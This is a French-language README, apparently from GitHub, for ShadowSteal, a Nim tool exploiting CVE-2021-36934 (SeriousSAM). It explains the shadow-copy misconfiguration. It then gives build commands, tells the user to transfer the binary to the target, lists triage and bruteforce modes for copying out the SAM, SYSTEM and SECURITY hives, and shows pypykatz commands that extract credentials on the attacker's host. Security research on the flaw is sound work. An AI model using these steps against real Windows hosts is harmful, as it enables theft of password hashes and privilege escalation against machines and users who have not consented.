
Implémentation pure Nim pour l'exploitation de CVE-2021-36934, l'escalade de privilèges locaux SeriousSAM
Implémentation pure Nim pour exploiter CVE-2021-36934, la vulnérabilité SeriousSAM d'élévation de privilèges locaux (LPE). Pas sûr pour l'OPSEC... pour l'instant ;). Je ne revendique pas la découverte de cette exploitation.
Démarrer avec ShadowSteal est maintenant plus facile que jamais grâce à Docker ! Vous ne voulez pas vous embêter à installer les dépendances Nim ? Je vous comprends ! Lancez le script Python pour créer l'environnement de construction Docker, compiler le binaire, le transférer sur votre hôte, puis tuer le conteneur.
Installez Docker sur votre hôte (consultez la documentation pour savoir comment l'installer selon votre système d'exploitation), puis exécutez le script Python ShadowSteal dans le répertoire principal :
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
Ou construisez à partir des sources en installant Nim et ses dépendances :
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Installez la chaîne d'outils MinGW si elle n'est pas déjà installée.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Transférez vers la cible...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
En raison d'un oubli de Microsoft, les utilisateurs normaux ont des droits de lecture sur le contenu du dossier ...\System32\config\ dans les versions récentes de Windows. Entre autres, cela signifie qu'un utilisateur de bas niveau a un accès en lecture aux fichiers SAM, System et Security dans ...\System32\config.

Oups. Que pouvons-nous faire avec ça ?
Certains chercheurs très observateurs (mention spéciale à @jonasLyk !) ont remarqué que si un hôte Windows utilise une configuration spécifique de restauration système, les "Volume Shadow Copies", alors l'hôte stocke des copies de sauvegarde de ces fichiers accessibles via l'espace de noms de périphérique Win32 pour ces copies.


Le SAM est normalement verrouillé pendant le fonctionnement de l'hôte, donc l'accès au SAM dans ...\System32\config\ est impossible. Mais ces copies de volume fantômes sont accessibles à tout utilisateur sur l'hôte à cause de cette mauvaise configuration. Très pratique !
ShadowSteal est un binaire écrit en Nim pour automatiser l'énumération et l'exfiltration des fichiers SAM, System et Security à partir de ces copies fantômes. Il parcourt les emplacements possibles des copies fantômes et, lorsqu'il trouve une cible, il extrait les fichiers dans un répertoire compressé (pensez à la sortie de Bloodhound).


Ce n'est pas révolutionnaire et le code est un peu bricolé, mais ça fonctionne et c'était amusant à construire !
Installez Nim :
$ sudo apt-get install nim
Installez les dépendances :
$ nimble install zippy argparse winim
Installez la chaîne d'outils MinGW si elle n'est pas déjà installée :
$ sudo apt-get install mingw-w64
Compilez pour Windows 64 bits :
$ make
Transférez vers la cible et exécutez-le !
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifie et extrait les identifiants qui peuvent être volés via l'exploitation de SeriousSAM (CVE-2021-36934). Recherche du plus élevé au plus bas, par défaut recherche de 100 à 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Mode Triage. Énumération rapide, essaie de trouver des gains rapides.
-bf, --bruteforce [*] Mode Bruteforce. Énumère toute la plage des emplacements possibles (512 à 1). Prend un peu de temps.
-b, --bezos [?] Mode Jeff Bezos
Limite la recherche brute d'emplacements à 10 à 1, en décrémentant à chaque tentative. Rapide et efficace dans la plupart des environnements.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Recherche tous les emplacements possibles (512), en décrémentant jusqu'à 1. Essayez ceci pour énumérer complètement l'environnement. Prend quelques minutes.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Transférez le répertoire de résultats sur votre hôte attaquant et extrayez les données avec Pypykatz. Pour l'installer :
$ pip3 install pypykatz
Pour exécuter Pypykatz :
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Inclut désormais un environnement de construction Docker prêt à l'emploi ! Exécutez simplement le script ShadowSteal.py pour configurer l'environnement Docker, compiler le binaire, le retransférer sur votre hôte et tuer les conteneurs de construction. Ça marche ! (Un assemblage est requis, c'est-à-dire que vous avez besoin de Docker pour l'exécuter).
Épuré et efficace. Options de compilation optimisées ajoutées. Énorme gain de performances grâce à l'optimisation du compilateur, le bruteforce complet se déroule désormais presque instantanément. Un grand merci à @orbitalgun pour la pseudo PR, que la gloire soit sur votre maison et votre nom !
Accrochez-vous les gars, ce train est en marche. Cette version était mon prototype rapide et elle était assez nulle lol. Mais très amusante à construire ! Fonctionnalités :
